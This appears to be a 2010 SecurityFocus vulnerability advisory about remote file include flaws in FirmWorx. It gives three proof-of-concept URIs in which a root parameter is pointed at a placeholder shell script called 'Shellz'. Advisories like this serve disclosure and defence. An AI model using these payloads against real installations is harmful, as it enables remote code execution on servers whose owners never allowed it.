FirmWorx Multiple Remote File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

http://www.example.com/includes/config/master.inc.php?fm_data[root]=Shellz?
http://www.example.com/includes/functions/master.inc.php?fm_data[root]=Shellz?
http://www.example.com/modules/bank/includes/design/main.inc.php?bank_data[root]=Shellz?


 

Privacy Statement
Copyright 2010, SecurityFocus